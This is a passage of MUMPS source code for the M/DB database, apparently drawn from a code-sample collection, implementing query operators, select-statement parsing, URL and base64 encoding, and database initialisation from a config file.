q:xvalue=\"\"  d\n . . . i $e(xvalue,1,len)'=value q\n . . . s itemId=\"\"\n . . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . . s pos=pos+1\n . . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n . e  d\n . . n len\n . . i value'=\"\" d\n . . . s xvalue=xvalue_\"~\"\n . . . s len=$l(value)\n . . e  d\n . . . s xvalue=\"\"\n . . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue=\"\"  d  q:stop\n . . . i value'=\"\",$e(xvalue,1,len)'=value s stop=1 q\n . . . s itemId=\"\"\n . . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . . s pos=pos+1\n . . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1,compOp=\"does-not-start-with\" d  QUIT\n . n len\n . i value=$c(31) q\n . s xvalue=\"\",len=$l(value),pos=0\n . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue=\"\"  d\n . . i $e(xvalue,1,len)=value q\n . . s itemId=\"\"\n . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . s pos=pos+1\n . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1,compOp=\"contains\" d  QUIT\n . n len\n . i value=$c(31) q\n . s xvalue=\"\",pos=0\n . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue=\"\"  d\n . . i xvalue'[value q\n . . s itemId=\"\"\n . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . s pos=pos+1\n . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1,compOp=\"does-not-contain\" d  QUIT\n . n len\n . i value=$c(31) q\n . s xvalue=\"\",pos=0\n . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue=\"\"  d\n . . i xvalue[value q\n . . s itemId=\"\"\n . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . s pos=pos+1\n . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1,compOp=\"ends-with\" d  QUIT\n . n len,xend,xlen\n . i value=$c(31) q\n . s xvalue=\"\",len=$l(value),pos=0\n . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue=\"\"  d\n . . s xlen=$l(xvalue)\n . . s xend=$e(xvalue,(xlen-len+1),xlen)\n . . i xend'=value q\n . . s itemId=\"\"\n . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . s pos=pos+1\n . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1,compOp=\"does-not-end-with\" d  QUIT\n . n len,xend,xlen\n . i value=$c(31) q\n . s xvalue=\"\",len=$l(value),pos=0\n . f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue=\"\"  d\n . . s xlen=$l(xvalue)\n . . s xend=$e(xvalue,(xlen-len+1),xlen)\n . . i xend=value q\n . . s itemId=\"\"\n . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . s pos=pos+1\n . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId))\n ;\n i no=1 QUIT\n s expr=\"\"\n f i=1:1:no d\n . i i>1 s expr=expr_relation(i)\n . d\n . . i compOp(i)=\"=\" s func=\"equals\" q\n . . i compOp(i)=\"<\" s func=\"lt\" q\n . . i compOp(i)=\">\" s func=\"gt\" q\n . . i compOp(i)=\"!=\" s func=\"notEquals\" q\n . . i compOp(i)=\"<=\" s func=\"le\" q\n . . i compOp(i)=\">=\" s func=\"ge\" q\n . . i compOp(i)=\"starts-with\" s func=\"startsWith\" q\n . . i compOp(i)=\"notlike\" d  q\n . . . i $e(value(i),1)=\"%\",$e(value(i),$l(value(i)))=\"%\" d  q\n . . . . s value(i)=$e(value(i),2,$l(value(i))-1)\n . . . . s func=\"notContains\"\n . . . i $e(value(i),$l(value(i)))=\"%\" d  q\n . . . . s value(i)=$e(value(i),1,$l(value(i))-1)\n . . . . s func=\"notStartsWith\"\n . . . i $e(value(i),1)=\"%\" d  q\n . . . . s value(i)=$e(value(i),2,$l(value(i)))\n . . . . s func=\"notEndsWith\"\n . . . ;s func=\"notStartsWith\"\n . . . ;i $e(value(i),$l(value(i)))=\"%\" s value(i)=$e(value(i),1,$l(value(i))-1)\n . . i compOp(i)=\"like\" d  q\n . . . i $e(value(i),1)=\"%\",$e(value(i),$l(value(i)))=\"%\" d  q\n . . . . s value(i)=$e(value(i),2,$l(value(i))-1)\n . . . . s func=\"contains\"\n . . . i $e(value(i),$l(value(i)))=\"%\" d  q\n . . . . s value(i)=$e(value(i),1,$l(value(i))-1)\n . . . . s func=\"startsWith\"\n . . . i $e(value(i),1)=\"%\" d  q\n . . . . s value(i)=$e(value(i),2,$l(value(i)))\n . . . . s func=\"endsWith\"\n . . . ;s func=\"startsWith\"\n . . . ;i $e(value(i),$l(value(i)))=\"%\" s value(i)=$e(value(i),1,$l(value(i))-1)\n . . i compOp(i)=\"does-not-start-with\" s func=\"notStartsWith\"\n . s value(i)=$$replaceAll(value(i),$c(6),\"%\")\n . s expr=expr_\"$$\"_func_\"(xvalue,\"\"\"_value(i)_\"\"\")\"\n . ;d trace(\"expr=\"_expr)\n s xvalue=\"\"\n s attribId=$$getAttributeId(keyId,domainId,name(1))\n s pos=0\n f  s xvalue=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue)) q:xvalue=\"\"  d\n . i @expr d\n . . s itemId=\"\"\n . . f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)) q:itemId=\"\"  d\n . . . s pos=pos+1\n . . . s itemList(pos)=$g(^MDB(keyId,\"domains\",domainId,\"items\",itemId)) \n QUIT\n ;\nequals(indexValue,targetValue)\n QUIT indexValue=targetValue\n ;\nnotEquals(indexValue,targetValue)\n QUIT indexValue'=targetValue\n ;\nlt(indexValue,targetValue)\n i $e(indexValue,1)'?1N QUIT 0\n QUIT indexValue<targetValue\n ;\ngt(indexValue,targetValue)\n i $e(indexValue,1)'?1N QUIT 0\n QUIT indexValue>targetValue\n ;\nle(indexValue,targetValue)\n i $e(indexValue,1)'?1N QUIT 0\n QUIT indexValue'>targetValue\n ;\nge(indexValue,targetValue)\n i $e(indexValue,1)'?1N QUIT 0\n QUIT indexValue'<targetValue\n ;\nstartsWith(index,targetValue)\n QUIT $e(index,1,$l(targetValue))=targetValue\n ;\nnotStartsWith(index,targetValue)\n QUIT $e(index,1,$l(targetValue))'=targetValue\n ;\ncontains(indexValue,targetValue)\n QUIT indexValue[targetValue\n ;\nnotContains(indexValue,targetValue)\n QUIT indexValue'[targetValue\n ;\nendsWith(indexValue,targetValue)\n n ilen,tlen,end\n s ilen=$l(indexValue)\n s tlen=$l(targetValue)\n s end=$e(indexValue,(ilen-tlen+1),ilen)\n QUIT end=targetValue\n ;\nnotEndsWith(indexValue,targetValue)\n n ilen,tlen,end\n s ilen=$l(indexValue)\n s tlen=$l(targetValue)\n s end=$e(indexValue,(ilen-tlen+1),ilen)\n QUIT end'=targetValue\n ;\nhex(number)\n n hex,no,str\n s hex=\"\"\n s str=\"123456789ABCDEF\"\n f  d  q:number=0\n . s no=number#16\n . s number=number\\16\n . i no s no=$e(str,no)\n . s hex=no_hex\n QUIT hex\n ;\nhexDecode(hex)\n QUIT $f(\"0123456789ABCDEF\",hex)-2\n \nhexToDecimal(hex)\n ;\n n i,num\n s num=0\n f i=1:1:$l(hex) d\n . s num=num*16+$$hexDecode($e(hex,i))\n QUIT num\n ;\nurlDecode(string)\n ;\n n ascii,c,hex,pos\n ;\n i string[\"%25\" s string=$$replaceAll(string,\"%25\",$c(1))\n i string[\"+\" s string=$$replaceAll(string,\"+\",\"%20\")\n f  q:string'[\"%\"  d\n . s pos=$f(string,\"%\")\n . s c=$e(string,pos) s c=$zconvert(c,\"l\") i \"0123456789abcdef\"'[c s string=$$replace(string,\"%\",$c(1)) q\n . s c=$e(string,pos+1) s c=$zconvert(c,\"l\") i \"0123456789abcdef\"'[c s string=$$replace(string,\"%\",$c(1)) q\n . s hex=$e(string,pos,pos+1)\n . i $l(hex)'=2 s string=$$replace(string,\"%\",$c(1)) q\n . s ascii=$$hexToDecimal(hex)\n . s string=$e(string,1,pos-2)_$c(ascii)_$e(string,pos+2,$l(string))\n i string[$c(1) s string=$$replaceAll(string,$c(1),\"%\")\n QUIT string\n ;\nurlEscape(string)\n ;The unreserved characters are A-Z, a-z, 0-9, hyphen ( - ), underscore ( _ ), period ( . ), and tilde ( ~ ). \n i string?1AN.AN QUIT string\n n a,c,esc,i,pass\n f i=45,46,95,126 s pass(i)=\"\"\n s esc=\"\"\n f i=1:1:$l(string) d\n . s c=$e(string,i)\n . i c?1AN s esc=esc_c q\n . s a=$a(c)\n . i $d(pass(a)) s esc=esc_c q\n . s a=$$hex^MDB(a)\n . s esc=esc_\"%\"_$zconvert(a,\"u\")\n QUIT esc\n ;\ninstallMDBX(requestId,boxUsage) ; Install M/DB:X Extensions\n n error,startTime\n s requestId=$$init(.startTime)\n s error=\"\"\n i $t(MDBX^MDBX)'=\"\" d\n . d install^MDBX\n e  d\n . s error=\"The M/DB:X routine is not available.  Download and install it and try again\"\n i error'=\"\" QUIT error\n QUIT $$end(startTime,.boxUsage)\n ;\ninstallMDBM(requestId,boxUsage) ; Install M/DB:M(umps) Extensions\n n error,startTime\n s requestId=$$init(.startTime)\n s error=\"\"\n i $t(MDBMumps^MDBMumps)'=\"\" d\n . d install^MDBMumps\n e  d\n . s error=\"The M/DB:M routine is not available.  Download and install it and try again\"\n i error'=\"\" QUIT error\n QUIT $$end(startTime,.boxUsage)\n ;\ninitialise(requestId,boxUsage) ; Initialise the M/DB database\n\tn configFile,i,io,key,line,ok,secret,startTime,stop\n\ts requestId=$$init(.startTime)\n\ts io=$io\n\ts configFile=\"/usr/MDB/MDB.conf\"\n\tc configFile\n\to configFile:(readonly:exception=\"g configFileNotExists\")\n\tu configFile\n\ts stop=0,key=\"\",secret=\"\"\n\tf i=1:1 r line d  q:stop\n\t. i $e(line,1)=\"#\" q\n\t. i line[\"AdminstratorAccessKeyId\"!(line[\"AdministratorAccessKeyId\") d  q\n\t. . s key=$p(line,\"=\",2)\n\t. . s key=$$stripSpaces(key)\n\t. . s key=$$replaceAll(key,$c(9),\"\")\n\t. . i $e(key,1)=\"<\" s key=\"\"  ; user hasn't changed the explanatory text\n\t. i line[\"AdminstratorSecretKey\"!(line[\"AdministratorSecretKey\") d  q\n\t. . s secret=$p(line,\"=\",2)\n\t. . s secret=$$stripSpaces(secret)\n\t. . s secret=$$replaceAll(secret,$c(9),\"\")\n\t. . i $e(secret,1)=\"<\" s secret=\"\"  ; user hasn't changed the explanatory text\n\t. . s stop=1\n\tc configFile\n\tu io\n\ti key'=\"\",secret'=\"\" d  QUIT $$end(startTime,.boxUsage)\n\t. i $$createAdministrator^MDBConfig(key,secret)\n\t. i $$reset^MDBConfig(key,secret)\n\tQUIT \"The contents of the Configuration File /usr/MDB/MDB.conf were invalid\"\n\t;\nconfigFileNotExists\t\n\tc configFile\n\tu io\n\tQUIT \"Configuration File /usr/MDB/MDB.conf was not found\"\n\t;\ninitialisationResponse\n\tQUIT\n\t;\ndecodeBase64(string)\n ;\n n b64,context\n ;\n i $zv[\"GT.M\" d  QUIT b64\n . s context=1\n . i $d(^zewd(\"config\",\"MGWSI\")) s context=0\n . s b64=$$DB64^%ZMGWSIS(string,context)\n ;\n QUIT $$b64Decode^MDBMCache(string)\n ;\nencodeBase64(string)\n ;\n n b64,context\n ;\n i $zv[\"GT.M\" d  QUIT b64\n . s context=1\n . i $d(^zewd(\"config\",\"MGWSI\")) s context=0\n . s b64=$$B64^%ZMGWSIS(string,context)\n ;\n QUIT $$b64Encode^MDBMCache(string)\n ;\nparseSelect(selectExpression,domainName,queryExpression,attributes,orderBy,limit)\n ;select Ranking,Keyword from books where Title = 'The Right Stuff'\n ;\n n attributeList,error,no,p1\n ;\n ;d trace(\"in parseSelect - selectExpression=\"_selectExpression)\n s error=\"\"\n s limit=\"\"\n s selectExpression=$$convertSubstringToLowerCase(selectExpression,\"select \")\n s selectExpression=$$convertSubstringToLowerCase(selectExpression,\" and \")\n i selectExpression=$$stripSpaces(selectExpression)\n i $e(selectExpression,1,7)'=\"select \" QUIT $$invalid(1)\n s selectExpression=$$convertSubstringToLowerCase(selectExpression,\" from \")\n i selectExpression'[\" from \" QUIT $$invalid(3)\n s selectExpression=$$convertSubstringToLowerCase(selectExpression,\"count(*)\")\n s p1=$p(selectExpression,\"select\",2)\n s attributeList=$p(p1,\"from\",1)\n s attributeList=$$stripSpaces(attributeList)\n i attributeList=\"\" QUIT $$invalid(2)\n i attributeList=\"*\" d\n . ; do nothing\n e  i attributeList=\"count(*)\" d\n . s attributes=\"count(*)\"\n e  i attributeList'[\",\" d\n . s attributes(1)=attributeList\n e  d\n . f no=1:1 q:attributeList=\"\"  d\n . . s p1=$p(attributeList,\",\",1)\n . . s attributeList=$p(attributeList,\",\",2,5000)\n . . s p1=$$stripSpaces(p1)\n . . s attributes(no)=p1\n s p1=$p(selectExpression,\" from\",2,1000)\n s domainName=p1\n s domainName=$$stripSpaces(domainName)\n s domainName=$p(domainName,\" \",1)\n i domainName=\"\" QUIT $$invalid(4)\n i $e(domainName,1)=\"`\",$e(domainName,$l(domainName))=\"`\" s domainName=$e(domainName,2,$l(domainName)-1)\n s selectExpression=$p(selectExpression,domainName,2,5000)\n s selectExpression=$$convertSubstringToLowerCase(selectExpression,\" where \")\n s selectExpression=$$stripSpaces(selectExpression)\n s selectExpression=$$convertSubstringToLowerCase(selectExpression,\"order by\")\n s orderBy=\"\"\n i selectExpression[\"order by\" d\n . n attrName,dir\n . s orderBy=$p(selectExpression,\"order by\",2)\n . s orderBy=$$stripSpaces(orderBy)\n . s orderBy=$$convertSubstringToLowerCase(orderBy,\" limit \")\n . i orderBy[\" limit \" d\n . . s limit=$p(orderBy,\" limit \",2)\n . . s orderBy=$p(orderBy,\" limit \",1)\n . s attrName=$p(orderBy,\" \",1)\n . s dir=$p(orderBy,\" \",2)\n . i dir=\"\" s dir=\"asc\"\n . s orderBy=\"'\"_attrName_\"' \"_dir\n . s selectExpression=$p(selectExpression,\"order by\",1)\n s selectExpression=$$convertSubstringToLowerCase(selectExpression,\" limit \")\n i limit=\"\",selectExpression[\"limit \" d\n . s limit=$p(selectExpression,\"limit \",2)\n . s selectExpression=$p(selectExpression,\"limit \",1)\n s selectExpression=$p(selectExpression,\"where\",2,1000)\n s queryExpression=selectExpression\n s queryExpression=$$stripSpaces(queryExpression)\n ;\n QUIT error\n ;\nconvertSubstringToLowerCase(string,subString)\n ;\n n lcString,newString,p1,pos,to1\n ;\n s lcString=$zconvert(string,\"l\")\n s subString=$zconvert(subString,\"l\")\n i lcString'[subString QUIT string\n s p1=$p(lcString,subString,1)\n s to1=$l(p1)\n s pos=$f(lcString,subString)\n s newString=$e(string,1,to1)_subString_$e(string,pos,$l(string))\n ;\n QUIT newString\n ;\ninProc(queryExpression,expr,thisWord)\n ;\n n attrName,c,i,inValue,list,no,np,or,str,value\n ;\n i thisWord=\"in\" s expr=expr_\" \"\n s list=$p(queryExpression,\")\",1)\n s queryExpression=$p(queryExpression,\")\",2,5000)\n s inValue=0,no=0,str=\"\"\n f  q:list=\"\"  d\n . s c=$e(list,1),list=$e(list,2,$l(list))\n . i c=\"'\" d  q\n . . s inValue='inValue\n . . i inValue q\n . . s no=no+1\n . . s value(no)=str\n . . s str=\"\"\n . i 'inValue q\n . s str=str_c\n s np=$l(expr,\" \")\n s attrName=$p(expr,\" \",np-2)\n s expr=$p(expr,\" \",1,np-3)\n s or=\"\"\n f i=1:1:no d\n . s expr=expr_or_attrName_\" = '\"_value(i)_\"'\"\n . s or=\" or \"\n QUIT\n ;\nexecuteSelect(queryExpression,itemList,keyId,itemStack)\n n c,error,expr,inAttr,lastWord,thisWord\n i $g(^zewd(\"trace\"))=1 d trace($h_\": in executeSelect.  queryExpression=\"_queryExpression)\n i queryExpression[\"''\" d\n . s queryExpression=$$replaceAll(queryExpression,\" '''\",\" '\"_$c(2))\n . s queryExpression=$$replaceAll(queryExpression,\"='''\",\"='\"_$c(2))\n . s queryExpression=$$replaceAll(queryExpression,\"'''\",$c(2)_\"'\")\n . s queryExpression=$$replaceAll(queryExpression,\"''\",$c(2))\n k itemList\n s error=\"\"\n s inAttr=0,expr=\"\",lastWord=\"\",thisWord=\"\"\n f  q:queryExpression=\"\"  d  q:c=\")\"\n . s c=$e(queryExpression,1),queryExpression=$e(queryExpression,2,$l(queryExpression))\n . i c=\"(\" d  q\n . . n rel\n . . i thisWord=\"in\"!(lastWord=\"in\") d  q\n . . . d inProc(.queryExpression,.expr,thisWord)\n . . s error=$$executeSelect(.queryExpression,.itemList,keyId,.itemStack)\n . . i error'=\"\" s queryExpression=\"\",expr=\"\" q\n . . s rel=$g(itemStack(\"rel\"))\n . . i '$d(itemStack(\"list\")) d\n . . . m itemStack(\"list\")=itemList\n . . e  d\n . . . i rel=\"or\" d\n . . . . n index,itemNo,no,newList\n . . . . s no=\"\"\n . . . . f  s no=$o(itemList(no)) q:no=\"\"  d\n . . . . . s itemNo=itemList(no)\n . . . . . s index(itemNo)=\"\"\n . . . . s no=\"\"\n . . . . f  s no=$o(itemStack(\"list\",no)) q:no=\"\"  d\n . . . . . s itemNo=itemStack(\"list\",no)\n . . . . . s index(itemNo)=\"\"\n . . . . s itemNo=\"\",no=0\n . . . . k itemStack\n . . . . f  s itemNo=$o(index(itemNo)) q:itemNo=\"\"  d\n . . . . . s no=no+1\n . . . . . s itemStack(\"list\",no)=itemNo\n . . . i rel=\"and\" d\n . . . . n index,itemNo,no,newList\n . . . . s no=\"\"\n . . . . f  s no=$o(itemList(no)) q:no=\"\"  d\n . . . . . s itemNo=itemList(no)\n . . . . . s index(itemNo)=\"\"\n . . . . s no=\"\"\n . . . . f  s no=$o(itemStack(\"list\",no)) q:no=\"\"  d\n . . . . . s itemNo=itemStack(\"list\",no)\n . . . . . i $d(index(itemNo)) s newList(itemNo)=\"\"\n . . . . s itemNo=\"\",no=0\n . . . . k itemStack\n . . . . f  s itemNo=$o(newList(itemNo)) q:itemNo=\"\"  d\n . . . . . s no=no+1\n . . . . . s itemStack(\"list\",no)=itemNo\n . . s queryExpression=$$stripSpaces(queryExpression)\n . . s rel=$p(queryExpression,\" \",1)\n . . s queryExpression=$p(queryExpression,\" \",2,5000)\n . . s queryExpression=$$stripSpaces(queryExpression)\n . . i queryExpression'=\"\",$e(queryExpression,1)'=\"(\" s queryExpression=\"(\"_queryExpression_\")\"\n . . s itemStack(\"rel\")=rel\n . i c=\")\" d  quit  ; pop\n . . k itemList\n . i expr=\"\",c=\" \" q\n . i expr=\"\" s inAttr=1,expr=\"'\",thisWord=expr\n . i 'inAttr d\n . . n stop\n . . s stop=0\n . . i lastWord=\"and\",expr[\"between\" d  q:stop\n . . . n np\n . . . s np=$l(expr,\" \")\n . . . i $p(expr,\" \",np-3)=\"between\" d\n . . . . n p1\n . . . . s stop=1\n . . . . s p1=$p(expr,\" \",1,np-4)_\" >= \"\n . . . . s p1=p1_$p(expr,\" \",np-2)_\" and \"_$p(expr,\" \",np-4)_\" <= \"\n . . . . s expr=p1\n . . . . s lastWord=\"<=\"\n . . i lastWord=\"and\" s inAttr=1,expr=expr_\"'\",thisWord=\"'\"\n . . i lastWord=\"or\" s inAttr=1,expr=expr_\"'\",thisWord=\"'\"\n . . i lastWord=\"union\" s inAttr=1,expr=expr_\"'\",thisWord=\"'\"\n . . i lastWord=\"intersection\" s inAttr=1,expr=expr_\"'\",thisWord=\"'\"\n . i inAttr,c=\"=\" d\n . . s c=\" \"\n . . i $e(queryExpression,1)'=\" \" s queryExpression=\" \"_queryExpression\n . . s queryExpression=\"=\"_queryExpression\n . i c'=\" \" d  q\n . . s thisWord=thisWord_c\n . . s expr=expr_c\n . i inAttr d\n . . s expr=expr_\"'\"\n . . s thisWord=thisWord_\"'\"\n . . s inAttr=0\n . s expr=expr_c\n . s lastWord=thisWord\n . s thisWord=\"\"\n . i lastWord=\"is\" d\n . . i $e(queryExpression,1,4)=\"null\" d\n . . . s lastWord=\"isNull\"\n . . . s expr=$e(expr,1,$l(expr)-3)_\"isNull \"\n . . . s queryExpression=\"'null'\"_$e(queryExpression,5,$l(queryExpression))\n . . i $e(queryExpression,1,8)=\"not null\" d\n . . . s lastWord=\"isNotNull\"\n . . . s expr=$e(expr,1,$l(expr)-3)_\"isNotNull \"\n . . . s queryExpression=\"'null'\"_$e(queryExpression,9,$l(queryExpression))\n i expr'=\"\" d\n . n i,name,np,offset,prevName,rel,term\n . s expr=$$escVals(expr)\n . s np=$l(expr,\" \")\n . i np>3 d\n . . n diffNames,name\n . . f i=1:1:np s term(i)=$p(expr,\" \",i)\n . . s offset=4\n . . s diffNames=0\n . . s name=term(1)\n . . f i=1:offset q:'$d(term(i))  d  q:diffNames\n . . . i term(i)'=name s diffNames=1 q\n . . . i $g(term(i+3))=\"intersection\" s diffNames=1 q\n . . . i $g(term(i+3))=\"union\" s diffNames=1 q\n . . i diffNames d\n . . . s expr=\"[\"_term(1)_\" \"_term(2)_\" \"_term(3)\n . . . f  d  q:'$d(term(offset+1))\n . . . . s name=term(offset+1)\n . . . . s rel=term(offset)\n . . . . i rel=\"and\"!(rel=\"intersection\") d\n . . . . . s expr=expr_\"] intersection [\"\n . . . . i rel=\"or\"!(rel=\"union\") d\n . . . . . s expr=expr_\"] union [\"\n . . . . s expr=expr_term(offset+1)_\" \"_term(offset+2)_\" \"_term(offset+3)\n . . . . s offset=offset+4\n . . . s expr=expr_\"]\"\n . . e  d\n . . . s expr=\"[\"_expr_\"]\"\n . e  d\n . . s expr=\"[\"_expr_\"]\"\n . k itemList\n . s expr=$tr(expr,$c(1),\" \")\n . i $g(orderBy)'=\"\" s expr=expr_\" sort \"_orderBy\n . s error=$$runQuery(keyId,domainName,expr,,.itemList)\n QUIT error\n ;\nescVals(expr)\n ;\n n c,inValue,no,str\n ;\n s inValue=0,no=0,str=\"\"\n f  q:expr=\"\"  d\n . s c=$e(expr,1),expr=$e(expr,2,$l(expr))\n . i c=\"'\" d  q\n . . s inValue='inValue\n . . s str=str_c\n . i 'inValue s str=str_c q\n . i c=\" \" s c=$c(1)\n . s str=str_c\n QUIT str\n ;\ninvalid(x)\n QUIT \"InvalidQueryExpression~The specified query expression syntax is not valid. (\"_x_\")\"\n ;\nrunSelect(keyId,query,itemList,attributes,domainName)\n ;\n n error,limit,orderBy,queryExpression\n ;\n ;d trace(\"in runSelect: query=\"_query)\n s error=$$parseSelect(query,.domainName,.queryExpression,.attributes,.orderBy,.limit)\n i $g(^zewd(\"trace\"))=1 d trace($h_\": completed parseSelect: queryExpression=\"_$g(queryExpression))\n i error'=\"\" QUIT error\n i queryExpression=\"\" d\n . i orderBy'=\"\" d\n . . s error=$$invalid(5)\n . e  d\n . . s error=$$runQuery(keyId,domainName,\"\",,.itemList)\n e  d\n . i queryExpression[\"itemName()\" s queryExpression=$$replaceAll(queryExpression,\"itemName()\",\"itemName{}\")\n . s error=$$executeSelect(queryExpression,.itemList,keyId,.itemStack)\n . i $g(^zewd(\"trace\"))=1 d trace($h_\": finished executeSelect and returned to runSelect\")\n ;***\n i $d(itemStack(\"list\")) k itemList m itemList=itemStack(\"list\")\n ;***\n i limit>0 d\n . n count,listCopy,no,stop\n . s count=0,no=\"\",stop=0\n . f  s no=$o(itemList(no)) q:no=\"\"  d  q:stop\n . . s count=count+1\n . . i count>limit s stop=1 q\n . . s listCopy(no)=itemList(no)\n . k itemList\n . m itemList=listCopy\n QUIT error\n ;\nnumeric(value)\n i $e(value,1)=0,$l(value)>1 QUIT 0\n i value?1N.N QUIT 1\n i value?1\"-\"1N.N QUIT 1\n i value?1N.N1\".\"1N.N QUIT 1\n i value?1\"-\"1N.N1\".\"1N.N QUIT 1\n QUIT 0\n ; \nescape(value)\n i value[\"&\" s value=$$replaceAll(value,\"&\",\"&amp;\")\n i value[\"<\" s value=$$replaceAll(value,\"<\",\"&lt;\")\n i value[\">\" s value=$$replaceAll(value,\">\",\"&gt;\")\n QUIT value\n ;\nexternalSelect(keyId,selectExpression) ;\n ;\n n attributes,count,domainName,error,itemList,itemsAndAttrs,json,pos\n ;\n i $g(^zewd(\"trace\"))=1 d trace(\"in externalSelect - keyId = \"_keyId_\": select=\"_selectExpression)\n s error=$$runSelect(keyId,selectExpression,.itemList,.attributes,.domainName)\n i error'=\"\" d  QUIT json\n . s json=\"{\"\"error\"\":{\"\"errorCode\"\":\"\"\"_$p(error,\"~\",1)_\"\"\",\"\"errorMessage\"\":\"\"\"_$p(error,\"~\",2)_\"\"\"}}\"\n i $g(attributes)=\"count(*)\" d\n . n count,pos\n . s itemsAndAttrs(1,\"i\")=\"Domain\"\n . s itemsAndAttrs(1,\"a\",1,\"n\")=\"Count\"\n . s pos=\"\",count=0\n . f  s pos=$o(itemList(pos)) q:pos=\"\"  s count=count+1\n . s itemsAndAttrs(1,\"a\",1,\"v\",1)=count\n e  d\n . n attribs,attribArray,ex,itemName,no,rx,bx,val,vno\n . s pos=\"\"\n . f  s pos=$o(itemList(pos)) q:pos=\"\"  d\n . . s itemName=itemList(pos)\n . . k attribs,attribArray\n . . m attribs=attributes\n . . s ex=$$getAttributes(keyId,domainName,itemName,.attribs,.rx,.bx,1)\n . . s no=\"\"\n . . f  s no=$o(attribs(no)) q:no=\"\"  d\n . . . s attribArray(no,\"n\")=$g(attribs(no))\n . . . s vno=\"\"\n . . . f  s vno=$o(attribs(no,\"value\",vno)) q:vno=\"\"  d\n . . . . s val=attribs(no,\"value\",vno)\n . . . . ;s val=$$replaceAll(val,\"\"\"\",\"\\\"\"\")\n . . . . s val=$$replaceAll(val,\"\\\",\"\\\\\")\n . . . . s attribArray(no,\"v\",vno)=val\n . . m itemsAndAttrs(pos,\"a\")=attribArray\n . . s itemsAndAttrs(pos,\"i\")=itemName\n s pos=\"\",count=0\n f  s pos=$o(itemsAndAttrs(pos)) q:pos=\"\"  s count=count+1\n i count=1 d\n . n array\n . m array=itemsAndAttrs(1)\n . ;m ^rob=array\n . s json=$$arrayToJSON^zmwire(\"array\")\n . s json=\"[\"_json_\"]\"\n e  d\n . s json=$$arrayToJSON^zmwire(\"itemsAndAttrs\")\n i $g(^zewd(\"trace\"))=1 d trace(\"json=\"_json)\n QUIT json\n ;\ntrace(text,clear) ; trace  ;\n n i\n s text=$g(text)\n i $g(clear)=1 k ^%zewdTrace\n s i=$increment(^%zewdTrace)\n s ^%zewdTrace(i)=text\n QUIT\n ;\nreplaceAll(InText,FromStr,ToStr) ; Replace all occurrences of a substring\n ;\n n p\n ;\n s p=InText\n i ToStr[FromStr d  QUIT p\n . n i,stop,tempText,tempTo\n . s stop=0\n . f i=0:1:255 d  q:stop\n . . q:InText[$c(i)\n . . q:FromStr[$c(i)\n . . q:ToStr[$c(i)\n . . s stop=1\n . s tempTo=$c(i)\n . s tempText=$$replaceAll(InText,FromStr,tempTo)\n . s p=$$replaceAll(tempText,tempTo,ToStr)\n f  q:p'[FromStr  S p=$$replace(p,FromStr,ToStr)\n QUIT p\n ;\nreplace(InText,FromStr,ToStr) ; replace old with new in string\n ;\n n np,p1,p2\n ;\n i InText'[FromStr q InText\n s np=$l(InText,FromStr)+1\n s p1=$p(InText,FromStr,1),p2=$p(InText,FromStr,2,np)\n QUIT p1_ToStr_p2\n ;\nstripSpaces(string)\n i $zv[\"Cache\" QUIT $$stripSpaces^MDBMCache(string)\n ;\n s string=$$stripLeadingSpaces(string)\n QUIT $$stripTrailingSpaces(string)\n ;\nstripLeadingSpaces(string)\n ;\n n i\n ;\n f i=1:1:$l(string) QUIT:$e(string,i)'=\" \"\n QUIT $e(string,i,$l(string))\n ;\nstripTrailingSpaces(string)\n ;\n n i,spaces,new\n ;\n s spaces=$$makeString(\" \",100)\n s new=string_spaces\n QUIT $p(new,spaces,1)\n ;\nmakeString(char,len) ; create a string of len characters\n ;\n n str\n ;\n s str=\"\",$p(str,char,len+1)=\"\"\n QUIT str\n ;\ntest\n s select=\"select * from testing where attr3 = 'control'\"\n s key=\"rob\"\n s ok=$$externalSelect^MDB(key,select)\n QUIT\n ;\n"
  },
  {
    "path": "samples/M/PRCAAPR.m",
